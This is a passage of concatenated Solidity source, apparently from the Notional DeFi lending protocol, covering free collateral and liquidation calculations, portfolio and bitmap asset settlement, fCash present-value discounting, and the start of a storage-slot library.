if (bitmapHasDebt && !contextHasAssetDebt) {
// Turn on has debt
accountContext.hasDebt = accountContext.hasDebt | Constants.HAS_ASSET_DEBT;
factors.updateContext = true;
} else if (!bitmapHasDebt && contextHasAssetDebt) {
// Turn off has debt
accountContext.hasDebt = accountContext.hasDebt & ~Constants.HAS_ASSET_DEBT;
factors.updateContext = true;
}
// Return asset cash value
return factors.cashGroup.assetRate.convertFromUnderlying(netPortfolioValueUnderlying);
}
function _updateNetETHValue(
uint256 currencyId,
int256 netLocalAssetValue,
FreeCollateralFactors memory factors
) private view returns (ETHRate memory) {
ETHRate memory ethRate = ExchangeRate.buildExchangeRate(currencyId);
// Converts to underlying first, ETH exchange rates are in underlying
factors.netETHValue = factors.netETHValue.add(
ethRate.convertToETH(factors.assetRate.convertToUnderlying(netLocalAssetValue))
);
return ethRate;
}
/// @notice Stateful version of get free collateral, returns the total net ETH value and true or false if the account
/// context needs to be updated.
function getFreeCollateralStateful(
address account,
AccountContext memory accountContext,
uint256 blockTime
) internal returns (int256, bool) {
FreeCollateralFactors memory factors;
bool hasCashDebt;
if (accountContext.isBitmapEnabled()) {
factors.cashGroup = CashGroup.buildCashGroupStateful(accountContext.bitmapCurrencyId);
// prettier-ignore
(
int256 netCashBalance,
int256 nTokenHaircutAssetValue,
/* nTokenParameters */
) = _getBitmapBalanceValue(account, blockTime, accountContext, factors);
if (netCashBalance < 0) hasCashDebt = true;
int256 portfolioAssetValue =
_getBitmapPortfolioValue(account, blockTime, accountContext, factors);
int256 netLocalAssetValue =
netCashBalance.add(nTokenHaircutAssetValue).add(portfolioAssetValue);
factors.assetRate = factors.cashGroup.assetRate;
_updateNetETHValue(accountContext.bitmapCurrencyId, netLocalAssetValue, factors);
} else {
factors.portfolio = PortfolioHandler.getSortedPortfolio(
account,
accountContext.assetArrayLength
);
}
bytes18 currencies = accountContext.activeCurrencies;
while (currencies != 0) {
bytes2 currencyBytes = bytes2(currencies);
uint16 currencyId = uint16(currencyBytes & Constants.UNMASK_FLAGS);
// Explicitly ensures that bitmap currency cannot be double counted
require(currencyId != accountContext.bitmapCurrencyId);
(int256 netLocalAssetValue, int256 nTokenBalance) =
_getCurrencyBalances(account, currencyBytes);
if (netLocalAssetValue < 0) hasCashDebt = true;
if (_isActiveInPortfolio(currencyBytes) || nTokenBalance > 0) {
factors.cashGroup = CashGroup.buildCashGroupStateful(currencyId);
// prettier-ignore
(
int256 netPortfolioAssetValue,
int256 nTokenHaircutAssetValue,
/* nTokenParameters */
) = _getPortfolioAndNTokenAssetValue(factors, nTokenBalance, blockTime);
netLocalAssetValue = netLocalAssetValue
.add(netPortfolioAssetValue)
.add(nTokenHaircutAssetValue);
factors.assetRate = factors.cashGroup.assetRate;
} else {
// NOTE: we must set the proper assetRate when we updateNetETHValue
factors.assetRate = AssetRate.buildAssetRateStateful(currencyId);
}
_updateNetETHValue(currencyId, netLocalAssetValue, factors);
currencies = currencies << 16;
}
// Free collateral is the only method that examines all cash balances for an account at once. If there is no cash debt (i.e.
// they have been repaid or settled via more debt) then this will turn off the flag. It's possible that this flag is out of
// sync temporarily after a cash settlement and before the next free collateral check. The only downside for that is forcing
// an account to do an extra free collateral check to turn off this setting.
if (
accountContext.hasDebt & Constants.HAS_CASH_DEBT == Constants.HAS_CASH_DEBT &&
!hasCashDebt
) {
accountContext.hasDebt = accountContext.hasDebt & ~Constants.HAS_CASH_DEBT;
factors.updateContext = true;
}
return (factors.netETHValue, factors.updateContext);
}
/// @notice View version of getFreeCollateral, does not use the stateful version of build cash group and skips
/// all the update context logic.
function getFreeCollateralView(
address account,
AccountContext memory accountContext,
uint256 blockTime
) internal view returns (int256, int256[] memory) {
FreeCollateralFactors memory factors;
uint256 netLocalIndex;
int256[] memory netLocalAssetValues = new int256[](10);
if (accountContext.isBitmapEnabled()) {
factors.cashGroup = CashGroup.buildCashGroupView(accountContext.bitmapCurrencyId);
// prettier-ignore
(
int256 netCashBalance,
int256 nTokenHaircutAssetValue,
/* nTokenParameters */
) = _getBitmapBalanceValue(account, blockTime, accountContext, factors);
int256 portfolioAssetValue =
_getBitmapPortfolioValue(account, blockTime, accountContext, factors);
netLocalAssetValues[netLocalIndex] = netCashBalance
.add(nTokenHaircutAssetValue)
.add(portfolioAssetValue);
factors.assetRate = factors.cashGroup.assetRate;
_updateNetETHValue(
accountContext.bitmapCurrencyId,
netLocalAssetValues[netLocalIndex],
factors
);
netLocalIndex++;
} else {
factors.portfolio = PortfolioHandler.getSortedPortfolio(
account,
accountContext.assetArrayLength
);
}
bytes18 currencies = accountContext.activeCurrencies;
while (currencies != 0) {
bytes2 currencyBytes = bytes2(currencies);
uint16 currencyId = uint16(currencyBytes & Constants.UNMASK_FLAGS);
// Explicitly ensures that bitmap currency cannot be double counted
require(currencyId != accountContext.bitmapCurrencyId);
int256 nTokenBalance;
(netLocalAssetValues[netLocalIndex], nTokenBalance) = _getCurrencyBalances(
account,
currencyBytes
);
if (_isActiveInPortfolio(currencyBytes) || nTokenBalance > 0) {
factors.cashGroup = CashGroup.buildCashGroupView(currencyId);
// prettier-ignore
(
int256 netPortfolioValue,
int256 nTokenHaircutAssetValue,
/* nTokenParameters */
) = _getPortfolioAndNTokenAssetValue(factors, nTokenBalance, blockTime);
netLocalAssetValues[netLocalIndex] = netLocalAssetValues[netLocalIndex]
.add(netPortfolioValue)
.add(nTokenHaircutAssetValue);
factors.assetRate = factors.cashGroup.assetRate;
} else {
factors.assetRate = AssetRate.buildAssetRateView(currencyId);
}
_updateNetETHValue(currencyId, netLocalAssetValues[netLocalIndex], factors);
netLocalIndex++;
currencies = currencies << 16;
}
return (factors.netETHValue, netLocalAssetValues);
}
/// @notice Calculates the net value of a currency within a portfolio, this is a bit
/// convoluted to fit into the stack frame
function _calculateLiquidationAssetValue(
FreeCollateralFactors memory factors,
LiquidationFactors memory liquidationFactors,
bytes2 currencyBytes,
bool setLiquidationFactors,
uint256 blockTime
) private returns (int256) {
uint16 currencyId = uint16(currencyBytes & Constants.UNMASK_FLAGS);
(int256 netLocalAssetValue, int256 nTokenBalance) =
_getCurrencyBalances(liquidationFactors.account, currencyBytes);
if (_isActiveInPortfolio(currencyBytes) || nTokenBalance > 0) {
factors.cashGroup = CashGroup.buildCashGroupStateful(currencyId);
(int256 netPortfolioValue, int256 nTokenHaircutAssetValue, bytes6 nTokenParameters) =
_getPortfolioAndNTokenAssetValue(factors, nTokenBalance, blockTime);
netLocalAssetValue = netLocalAssetValue
.add(netPortfolioValue)
.add(nTokenHaircutAssetValue);
factors.assetRate = factors.cashGroup.assetRate;
// If collateralCurrencyId is set to zero then this is a local currency liquidation
if (setLiquidationFactors) {
liquidationFactors.collateralCashGroup = factors.cashGroup;
liquidationFactors.nTokenParameters = nTokenParameters;
liquidationFactors.nTokenHaircutAssetValue = nTokenHaircutAssetValue;
}
} else {
factors.assetRate = AssetRate.buildAssetRateStateful(currencyId);
}
return netLocalAssetValue;
}
/// @notice A version of getFreeCollateral used during liquidation to save off necessary additional information.
function getLiquidationFactors(
address account,
AccountContext memory accountContext,
uint256 blockTime,
uint256 localCurrencyId,
uint256 collateralCurrencyId
) internal returns (LiquidationFactors memory, PortfolioAsset[] memory) {
FreeCollateralFactors memory factors;
LiquidationFactors memory liquidationFactors;
// This is only set to reduce the stack size
liquidationFactors.account = account;
if (accountContext.isBitmapEnabled()) {
factors.cashGroup = CashGroup.buildCashGroupStateful(accountContext.bitmapCurrencyId);
(int256 netCashBalance, int256 nTokenHaircutAssetValue, bytes6 nTokenParameters) =
_getBitmapBalanceValue(account, blockTime, accountContext, factors);
int256 portfolioBalance =
_getBitmapPortfolioValue(account, blockTime, accountContext, factors);
int256 netLocalAssetValue =
netCashBalance.add(nTokenHaircutAssetValue).add(portfolioBalance);
factors.assetRate = factors.cashGroup.assetRate;
ETHRate memory ethRate =
_updateNetETHValue(accountContext.bitmapCurrencyId, netLocalAssetValue, factors);
// If the bitmap currency id can only ever be the local currency where debt is held.
// During enable bitmap we check that the account has no assets in their portfolio and
// no cash debts.
if (accountContext.bitmapCurrencyId == localCurrencyId) {
liquidationFactors.localAssetAvailable = netLocalAssetValue;
liquidationFactors.localETHRate = ethRate;
liquidationFactors.localAssetRate = factors.assetRate;
// This will be the case during local currency or local fCash liquidation
if (collateralCurrencyId == 0) {
// If this is local fCash liquidation, the cash group information is required
// to calculate fCash haircuts and buffers.
liquidationFactors.collateralCashGroup = factors.cashGroup;
liquidationFactors.nTokenHaircutAssetValue = nTokenHaircutAssetValue;
liquidationFactors.nTokenParameters = nTokenParameters;
}
}
} else {
factors.portfolio = PortfolioHandler.getSortedPortfolio(
account,
accountContext.assetArrayLength
);
}
bytes18 currencies = accountContext.activeCurrencies;
while (currencies != 0) {
bytes2 currencyBytes = bytes2(currencies);
// This next bit of code here is annoyingly structured to get around stack size issues
bool setLiquidationFactors;
{
uint256 tempId = uint256(uint16(currencyBytes & Constants.UNMASK_FLAGS));
// Explicitly ensures that bitmap currency cannot be double counted
require(tempId != accountContext.bitmapCurrencyId);
setLiquidationFactors =
(tempId == localCurrencyId && collateralCurrencyId == 0) ||
tempId == collateralCurrencyId;
}
int256 netLocalAssetValue =
_calculateLiquidationAssetValue(
factors,
liquidationFactors,
currencyBytes,
setLiquidationFactors,
blockTime
);
uint256 currencyId = uint256(uint16(currencyBytes & Constants.UNMASK_FLAGS));
ETHRate memory ethRate = _updateNetETHValue(currencyId, netLocalAssetValue, factors);
if (currencyId == collateralCurrencyId) {
// Ensure that this is set even if the cash group is not loaded, it will not be
// loaded if the account only has a cash balance and no nTokens or assets
liquidationFactors.collateralCashGroup.assetRate = factors.assetRate;
liquidationFactors.collateralAssetAvailable = netLocalAssetValue;
liquidationFactors.collateralETHRate = ethRate;
} else if (currencyId == localCurrencyId) {
// This branch will not be entered if bitmap is enabled
liquidationFactors.localAssetAvailable = netLocalAssetValue;
liquidationFactors.localETHRate = ethRate;
liquidationFactors.localAssetRate = factors.assetRate;
// If this is local fCash liquidation, the cash group information is required
// to calculate fCash haircuts and buffers and it will have been set in
// _calculateLiquidationAssetValue above because the account must have fCash assets,
// there is no need to set cash group in this branch.
}
currencies = currencies << 16;
}
liquidationFactors.netETHValue = factors.netETHValue;
require(liquidationFactors.netETHValue < 0, "Sufficient collateral");
// Refetch the portfolio if it exists, AssetHandler.getNetCashValue updates values in memory to do fCash
// netting which will make further calculations incorrect.
if (accountContext.assetArrayLength > 0) {
factors.portfolio = PortfolioHandler.getSortedPortfolio(
account,
accountContext.assetArrayLength
);
}
return (liquidationFactors, factors.portfolio);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../valuation/AssetHandler.sol";
import "../markets/Market.sol";
import "../markets/AssetRate.sol";
import "../portfolio/PortfolioHandler.sol";
import "../../math/SafeInt256.sol";
import "../../global/Constants.sol";
import "../../global/Types.sol";
library SettlePortfolioAssets {
using SafeInt256 for int256;
using AssetRate for AssetRateParameters;
using Market for MarketParameters;
using PortfolioHandler for PortfolioState;
using AssetHandler for PortfolioAsset;
/// @dev Returns a SettleAmount array for the assets that will be settled
function _getSettleAmountArray(PortfolioState memory portfolioState, uint256 blockTime)
private
pure
returns (SettleAmount[] memory)
{
uint256 currenciesSettled;
uint256 lastCurrencyId = 0;
if (portfolioState.storedAssets.length == 0) return new SettleAmount[](0);
// Loop backwards so "lastCurrencyId" will be set to the first currency in the portfolio
// NOTE: if this contract is ever upgraded to Solidity 0.8+ then this i-- will underflow and cause
// a revert, must wrap in an unchecked.
for (uint256 i = portfolioState.storedAssets.length; (i--) > 0;) {
PortfolioAsset memory asset = portfolioState.storedAssets[i];
// Assets settle on exactly blockTime
if (asset.getSettlementDate() > blockTime) continue;
// Assume that this is sorted by cash group and maturity, currencyId = 0 is unused so this
// will work for the first asset
if (lastCurrencyId != asset.currencyId) {
lastCurrencyId = asset.currencyId;
currenciesSettled++;
}
}
// Actual currency ids will be set as we loop through the portfolio and settle assets
SettleAmount[] memory settleAmounts = new SettleAmount[](currenciesSettled);
if (currenciesSettled > 0) settleAmounts[0].currencyId = lastCurrencyId;
return settleAmounts;
}
/// @notice Settles a portfolio array
function settlePortfolio(PortfolioState memory portfolioState, uint256 blockTime)
internal
returns (SettleAmount[] memory)
{
AssetRateParameters memory settlementRate;
SettleAmount[] memory settleAmounts = _getSettleAmountArray(portfolioState, blockTime);
MarketParameters memory market;
if (settleAmounts.length == 0) return settleAmounts;
uint256 settleAmountIndex;
for (uint256 i; i < portfolioState.storedAssets.length; i++) {
PortfolioAsset memory asset = portfolioState.storedAssets[i];
uint256 settleDate = asset.getSettlementDate();
// Settlement date is on block time exactly
if (settleDate > blockTime) continue;
// On the first loop the lastCurrencyId is already set.
if (settleAmounts[settleAmountIndex].currencyId != asset.currencyId) {
// New currency in the portfolio
settleAmountIndex += 1;
settleAmounts[settleAmountIndex].currencyId = asset.currencyId;
}
int256 assetCash;
if (asset.assetType == Constants.FCASH_ASSET_TYPE) {
// Gets or sets the settlement rate, only do this before settling fCash
settlementRate = AssetRate.buildSettlementRateStateful(
asset.currencyId,
asset.maturity,
blockTime
);
assetCash = settlementRate.convertFromUnderlying(asset.notional);
portfolioState.deleteAsset(i);
} else if (AssetHandler.isLiquidityToken(asset.assetType)) {
Market.loadSettlementMarket(market, asset.currencyId, asset.maturity, settleDate);
int256 fCash;
(assetCash, fCash) = market.removeLiquidity(asset.notional);
// Assets mature exactly on block time
if (asset.maturity > blockTime) {
// If fCash has not yet matured then add it to the portfolio
_settleLiquidityTokenTofCash(portfolioState, i, fCash);
} else {
// Gets or sets the settlement rate, only do this before settling fCash
settlementRate = AssetRate.buildSettlementRateStateful(
asset.currencyId,
asset.maturity,
blockTime
);
// If asset has matured then settle fCash to asset cash
assetCash = assetCash.add(settlementRate.convertFromUnderlying(fCash));
portfolioState.deleteAsset(i);
}
}
settleAmounts[settleAmountIndex].netCashChange = settleAmounts[settleAmountIndex]
.netCashChange
.add(assetCash);
}
return settleAmounts;
}
/// @notice Settles a liquidity token to idiosyncratic fCash, this occurs when the maturity is still in the future
function _settleLiquidityTokenTofCash(
PortfolioState memory portfolioState,
uint256 index,
int256 fCash
) private pure {
PortfolioAsset memory liquidityToken = portfolioState.storedAssets[index];
// If the liquidity token's maturity is still in the future then we change the entry to be
// an idiosyncratic fCash entry with the net fCash amount.
if (index != 0) {
// Check to see if the previous index is the matching fCash asset, this will be the case when the
// portfolio is sorted
PortfolioAsset memory fCashAsset = portfolioState.storedAssets[index - 1];
if (
fCashAsset.currencyId == liquidityToken.currencyId &&
fCashAsset.maturity == liquidityToken.maturity &&
fCashAsset.assetType == Constants.FCASH_ASSET_TYPE
) {
// This fCash asset has not matured if we are settling to fCash
fCashAsset.notional = fCashAsset.notional.add(fCash);
fCashAsset.storageState = AssetStorageState.Update;
portfolioState.deleteAsset(index);
}
}
// We are going to delete this asset anyway, convert to an fCash position
liquidityToken.assetType = Constants.FCASH_ASSET_TYPE;
liquidityToken.notional = fCash;
liquidityToken.storageState = AssetStorageState.Update;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../markets/AssetRate.sol";
import "../../global/LibStorage.sol";
import "../portfolio/BitmapAssetsHandler.sol";
import "../../math/SafeInt256.sol";
import "../../math/Bitmap.sol";
import "../../global/Constants.sol";
import "../../global/Types.sol";
/**
* Settles a bitmap portfolio by checking for all matured fCash assets and turning them into cash
* at the prevailing settlement rate. It will also update the asset bitmap to ensure that it continues
* to correctly reference all actual maturities. fCash asset notional values are stored in *absolute*
* time terms and bitmap bits are *relative* time terms based on the bitNumber and the stored oldSettleTime.
* Remapping bits requires converting the old relative bit numbers to new relative bit numbers based on
* newSettleTime and the absolute times (maturities) that the previous bitmap references.
*/
library SettleBitmapAssets {
using SafeInt256 for int256;
using AssetRate for AssetRateParameters;
using Bitmap for bytes32;
/// @notice Given a bitmap for a cash group and timestamps, will settle all assets
/// that have matured and remap the bitmap to correspond to the current time.
function settleBitmappedCashGroup(
address account,
uint256 currencyId,
uint256 oldSettleTime,
uint256 blockTime
) internal returns (int256 totalAssetCash, uint256 newSettleTime) {
bytes32 bitmap = BitmapAssetsHandler.getAssetsBitmap(account, currencyId);
// This newSettleTime will be set to the new `oldSettleTime`. The bits between 1 and
// `lastSettleBit` (inclusive) will be shifted out of the bitmap and settled. The reason
// that lastSettleBit is inclusive is that it refers to newSettleTime which always less
// than the current block time.
newSettleTime = DateTime.getTimeUTC0(blockTime);
// If newSettleTime == oldSettleTime lastSettleBit will be zero
require(newSettleTime >= oldSettleTime); // dev: new settle time before previous
// Do not need to worry about validity, if newSettleTime is not on an exact bit we will settle up until
// the closest maturity that is less than newSettleTime.
(uint256 lastSettleBit, /* isValid */) = DateTime.getBitNumFromMaturity(oldSettleTime, newSettleTime);
if (lastSettleBit == 0) return (totalAssetCash, newSettleTime);
// Returns the next bit that is set in the bitmap
uint256 nextBitNum = bitmap.getNextBitNum();
while (nextBitNum != 0 && nextBitNum <= lastSettleBit) {
uint256 maturity = DateTime.getMaturityFromBitNum(oldSettleTime, nextBitNum);
totalAssetCash = totalAssetCash.add(
_settlefCashAsset(account, currencyId, maturity, blockTime)
);
// Turn the bit off now that it is settled
bitmap = bitmap.setBit(nextBitNum, false);
nextBitNum = bitmap.getNextBitNum();
}
bytes32 newBitmap;
while (nextBitNum != 0) {
uint256 maturity = DateTime.getMaturityFromBitNum(oldSettleTime, nextBitNum);
(uint256 newBitNum, bool isValid) = DateTime.getBitNumFromMaturity(newSettleTime, maturity);
require(isValid); // dev: invalid new bit num
newBitmap = newBitmap.setBit(newBitNum, true);
// Turn the bit off now that it is remapped
bitmap = bitmap.setBit(nextBitNum, false);
nextBitNum = bitmap.getNextBitNum();
}
BitmapAssetsHandler.setAssetsBitmap(account, currencyId, newBitmap);
}
/// @dev Stateful settlement function to settle a bitmapped asset. Deletes the
/// asset from storage after calculating it.
function _settlefCashAsset(
address account,
uint256 currencyId,
uint256 maturity,
uint256 blockTime
) private returns (int256 assetCash) {
mapping(address => mapping(uint256 =>
mapping(uint256 => ifCashStorage))) storage store = LibStorage.getifCashBitmapStorage();
int256 notional = store[account][currencyId][maturity].notional;
// Gets the current settlement rate or will store a new settlement rate if it does not
// yet exist.
AssetRateParameters memory rate =
AssetRate.buildSettlementRateStateful(currencyId, maturity, blockTime);
assetCash = rate.convertFromUnderlying(notional);
delete store[account][currencyId][maturity];
return assetCash;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "../../global/Types.sol";
import "../../global/Constants.sol";
import "../markets/CashGroup.sol";
import "../markets/AssetRate.sol";
import "../markets/DateTime.sol";
import "../portfolio/PortfolioHandler.sol";
import "../../math/SafeInt256.sol";
import "../../math/ABDKMath64x64.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library AssetHandler {
using SafeMath for uint256;
using SafeInt256 for int256;
using CashGroup for CashGroupParameters;
using AssetRate for AssetRateParameters;
function isLiquidityToken(uint256 assetType) internal pure returns (bool) {
return
assetType >= Constants.MIN_LIQUIDITY_TOKEN_INDEX &&
assetType <= Constants.MAX_LIQUIDITY_TOKEN_INDEX;
}
/// @notice Liquidity tokens settle every 90 days (not at the designated maturity). This method
/// calculates the settlement date for any PortfolioAsset.
function getSettlementDate(PortfolioAsset memory asset) internal pure returns (uint256) {
require(asset.assetType > 0 && asset.assetType <= Constants.MAX_LIQUIDITY_TOKEN_INDEX); // dev: settlement date invalid asset type
// 3 month tokens and fCash tokens settle at maturity
if (asset.assetType <= Constants.MIN_LIQUIDITY_TOKEN_INDEX) return asset.maturity;
uint256 marketLength = DateTime.getTradedMarket(asset.assetType - 1);
// Liquidity tokens settle at tRef + 90 days. The formula to get a maturity is:
// maturity = tRef + marketLength
// Here we calculate:
// tRef = (maturity - marketLength) + 90 days
return asset.maturity.sub(marketLength).add(Constants.QUARTER);
}
/// @notice Returns the continuously compounded discount rate given an oracle rate and a time to maturity.
/// The formula is: e^(-rate * timeToMaturity).
function getDiscountFactor(uint256 timeToMaturity, uint256 oracleRate)
internal
pure
returns (int256)
{
int128 expValue =
ABDKMath64x64.fromUInt(oracleRate.mul(timeToMaturity).div(Constants.IMPLIED_RATE_TIME));
expValue = ABDKMath64x64.div(expValue, Constants.RATE_PRECISION_64x64);
expValue = ABDKMath64x64.exp(ABDKMath64x64.neg(expValue));
expValue = ABDKMath64x64.mul(expValue, Constants.RATE_PRECISION_64x64);
int256 discountFactor = ABDKMath64x64.toInt(expValue);
return discountFactor;
}
/// @notice Present value of an fCash asset without any risk adjustments.
function getPresentfCashValue(
int256 notional,
uint256 maturity,
uint256 blockTime,
uint256 oracleRate
) internal pure returns (int256) {
if (notional == 0) return 0;
// NOTE: this will revert if maturity < blockTime. That is the correct behavior because we cannot
// discount matured assets.
uint256 timeToMaturity = maturity.sub(blockTime);
int256 discountFactor = getDiscountFactor(timeToMaturity, oracleRate);
require(discountFactor <= Constants.RATE_PRECISION); // dev: get present value invalid discount factor
return notional.mulInRatePrecision(discountFactor);
}
/// @notice Present value of an fCash asset with risk adjustments. Positive fCash value will be discounted more
/// heavily than the oracle rate given and vice versa for negative fCash.
function getRiskAdjustedPresentfCashValue(
CashGroupParameters memory cashGroup,
int256 notional,
uint256 maturity,
uint256 blockTime,
uint256 oracleRate
) internal pure returns (int256) {
if (notional == 0) return 0;
// NOTE: this will revert if maturity < blockTime. That is the correct behavior because we cannot
// discount matured assets.
uint256 timeToMaturity = maturity.sub(blockTime);
int256 discountFactor;
if (notional > 0) {
// If fCash is positive then discounting by a higher rate will result in a smaller
// discount factor (e ^ -x), meaning a lower positive fCash value.
discountFactor = getDiscountFactor(
timeToMaturity,
oracleRate.add(cashGroup.getfCashHaircut())
);
} else {
uint256 debtBuffer = cashGroup.getDebtBuffer();
// If the adjustment exceeds the oracle rate we floor the value of the fCash
// at the notional value. We don't want to require the account to hold more than
// absolutely required.
if (debtBuffer >= oracleRate) return notional;
discountFactor = getDiscountFactor(timeToMaturity, oracleRate - debtBuffer);
}
require(discountFactor <= Constants.RATE_PRECISION); // dev: get risk adjusted pv, invalid discount factor
return notional.mulInRatePrecision(discountFactor);
}
/// @notice Returns the non haircut claims on cash and fCash by the liquidity token.
function getCashClaims(PortfolioAsset memory token, MarketParameters memory market)
internal
pure
returns (int256 assetCash, int256 fCash)
{
require(isLiquidityToken(token.assetType) && token.notional >= 0); // dev: invalid asset, get cash claims
assetCash = market.totalAssetCash.mul(token.notional).div(market.totalLiquidity);
fCash = market.totalfCash.mul(token.notional).div(market.totalLiquidity);
}
/// @notice Returns the haircut claims on cash and fCash
function getHaircutCashClaims(
PortfolioAsset memory token,
MarketParameters memory market,
CashGroupParameters memory cashGroup
) internal pure returns (int256 assetCash, int256 fCash) {
require(isLiquidityToken(token.assetType) && token.notional >= 0); // dev: invalid asset get haircut cash claims
require(token.currencyId == cashGroup.currencyId); // dev: haircut cash claims, currency id mismatch
// This won't overflow, the liquidity token haircut is stored as an uint8
int256 haircut = int256(cashGroup.getLiquidityHaircut(token.assetType));
assetCash =
_calcToken(market.totalAssetCash, token.notional, haircut, market.totalLiquidity);
fCash =
_calcToken(market.totalfCash, token.notional, haircut, market.totalLiquidity);
return (assetCash, fCash);
}
/// @dev This is here to clean up the stack in getHaircutCashClaims
function _calcToken(
int256 numerator,
int256 tokens,
int256 haircut,
int256 liquidity
) private pure returns (int256) {
return numerator.mul(tokens).mul(haircut).div(Constants.PERCENTAGE_DECIMALS).div(liquidity);
}
/// @notice Returns the asset cash claim and the present value of the fCash asset (if it exists)
function getLiquidityTokenValue(
uint256 index,
CashGroupParameters memory cashGroup,
MarketParameters memory market,
PortfolioAsset[] memory assets,
uint256 blockTime,
bool riskAdjusted
) internal view returns (int256, int256) {
PortfolioAsset memory liquidityToken = assets[index];
{
(uint256 marketIndex, bool idiosyncratic) =
DateTime.getMarketIndex(
cashGroup.maxMarketIndex,
liquidityToken.maturity,
blockTime
);
// Liquidity tokens can never be idiosyncratic
require(!idiosyncratic); // dev: idiosyncratic liquidity token
// This market will always be initialized, if a liquidity token exists that means the
// market has some liquidity in it.
cashGroup.loadMarket(market, marketIndex, true, blockTime);
}
int256 assetCashClaim;
int256 fCashClaim;
if (riskAdjusted) {
(assetCashClaim, fCashClaim) = getHaircutCashClaims(liquidityToken, market, cashGroup);
} else {
(assetCashClaim, fCashClaim) = getCashClaims(liquidityToken, market);
}
// Find the matching fCash asset and net off the value, assumes that the portfolio is sorted and
// in that case we know the previous asset will be the matching fCash asset
if (index > 0) {
PortfolioAsset memory maybefCash = assets[index - 1];
if (
maybefCash.assetType == Constants.FCASH_ASSET_TYPE &&
maybefCash.currencyId == liquidityToken.currencyId &&
maybefCash.maturity == liquidityToken.maturity
) {
// Net off the fCashClaim here and we will discount it to present value in the second pass.
// WARNING: this modifies the portfolio in memory and therefore we cannot store this portfolio!
maybefCash.notional = maybefCash.notional.add(fCashClaim);
// This state will prevent the fCash asset from being stored.
maybefCash.storageState = AssetStorageState.RevertIfStored;
return (assetCashClaim, 0);
}
}
// If not matching fCash asset found then get the pv directly
if (riskAdjusted) {
int256 pv =
getRiskAdjustedPresentfCashValue(
cashGroup,
fCashClaim,
liquidityToken.maturity,
blockTime,
market.oracleRate
);
return (assetCashClaim, pv);
} else {
int256 pv =
getPresentfCashValue(fCashClaim, liquidityToken.maturity, blockTime, market.oracleRate);
return (assetCashClaim, pv);
}
}
/// @notice Returns present value of all assets in the cash group as asset cash and the updated
/// portfolio index where the function has ended.
/// @return the value of the cash group in asset cash
function getNetCashGroupValue(
PortfolioAsset[] memory assets,
CashGroupParameters memory cashGroup,
MarketParameters memory market,
uint256 blockTime,
uint256 portfolioIndex
) internal view returns (int256, uint256) {
int256 presentValueAsset;
int256 presentValueUnderlying;
// First calculate value of liquidity tokens because we need to net off fCash value
// before discounting to present value
for (uint256 i = portfolioIndex; i < assets.length; i++) {
if (!isLiquidityToken(assets[i].assetType)) continue;
if (assets[i].currencyId != cashGroup.currencyId) break;
(int256 assetCashClaim, int256 pv) =
getLiquidityTokenValue(
i,
cashGroup,
market,
assets,
blockTime,
true // risk adjusted
);
presentValueAsset = presentValueAsset.add(assetCashClaim);
presentValueUnderlying = presentValueUnderlying.add(pv);
}
uint256 j = portfolioIndex;
for (; j < assets.length; j++) {
PortfolioAsset memory a = assets[j];
if (a.assetType != Constants.FCASH_ASSET_TYPE) continue;
// If we hit a different currency id then we've accounted for all assets in this currency
// j will mark the index where we don't have this currency anymore
if (a.currencyId != cashGroup.currencyId) break;
uint256 oracleRate = cashGroup.calculateOracleRate(a.maturity, blockTime);
int256 pv =
getRiskAdjustedPresentfCashValue(
cashGroup,
a.notional,
a.maturity,
blockTime,
oracleRate
);
presentValueUnderlying = presentValueUnderlying.add(pv);
}
presentValueAsset = presentValueAsset.add(
cashGroup.assetRate.convertFromUnderlying(presentValueUnderlying)
);
return (presentValueAsset, j);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./Types.sol";
import "./Constants.sol";
import "../../interfaces/notional/IRewarder.sol";
import "../../interfaces/aave/ILendingPool.sol";
library LibStorage {
/// @dev Offset for the initial slot in lib storage, gives us this number of storage slots
/// available in StorageLayoutV1 and all subsequent storage layouts that inherit from it.
uint256 private constant STORAGE_SLOT_BASE = 1000000;
/// @dev Set to MAX_TRADED_MARKET_INDEX * 2, Solidity does not allow assigning constants from imported values
uint256 private constant NUM_NTOKEN_MARKET_FACTORS = 14;
/// @dev Theoretical maximum for MAX_PORTFOLIO_ASSETS, however, we limit this to MAX_TRADED_MARKET_INDEX
/// in practice. It is possible to exceed that value during liquidation up to 14 potential assets.
uint256 private constant MAX_PORTFOLIO_ASSETS = 16;
/// @dev Storage IDs for storage buckets. Each id maps to an internal storage
/// slot used for a particular mapping
/// WARNING: APPEND ONLY
enum StorageId {
Unused,
AccountStorage,
nTokenContext,
nTokenAddress,
nTokenDeposit,
nTokenInitialization,
Balance,
Token,
SettlementRate,
CashGroup,
Market,
AssetsBitmap,
ifCashBitmap,
PortfolioArray,
// WARNING: this nTokenTotalSupply storage object was used for a buggy version
// of the incentives calculation. It should only be used for accounts who have
// not claimed before the migration
nTokenTotalSupply_deprecated,
AssetRate,
ExchangeRate,
nTokenTotalSupply,
SecondaryIncentiveRewarder,
LendingPool
}
/// @dev Mapping from an account address to account context
function getAccountStorage() internal pure
returns (mapping(address => AccountContext) storage store)
{
uint256 slot = _getStorageSlot(StorageId.AccountStorage);
assembly { store.slot := slot }
}
/// @dev Mapping from an nToken address to nTokenContext
function getNTokenContextStorage() internal pure
returns (mapping(address => nTokenContext) storage store)
{
uint256 slot = _getStorageSlot(StorageId.nTokenContext);
assembly { store.slot := slot }
}
/// @dev Mapping from currency id to nTokenAddress
function getNTokenAddressStorage() internal pure
returns (mapping(uint256 => address) storage store)
{
uint256 slot = _getStorageSlot(StorageId.nTokenAddress);
assembly { store.slot := slot }
}
/// @dev Mapping from currency id to uint32 fixed length array of
/// deposit factors. Deposit shares and leverage thresholds are stored striped to
/// reduce the number of storage reads.
function getNTokenDepositStorage() internal pure
returns (mapping(uint256 => uint32[NUM_NTOKEN_MARKET_FACTORS]) storage store)
{
uint256 slot = _getStorageSlot(StorageId.nTokenDeposit);
assembly { store.slot := slot }
}
/// @dev Mapping from currency id to fixed length array of initialization factors,
/// stored striped like deposit shares.
function getNTokenInitStorage() internal pure
returns (mapping(uint256 => uint32[NUM_NTOKEN_MARKET_FACTORS]) storage store)
{
uint256 slot = _getStorageSlot(StorageId.nTokenInitialization);
assembly { store.slot := slot }
}
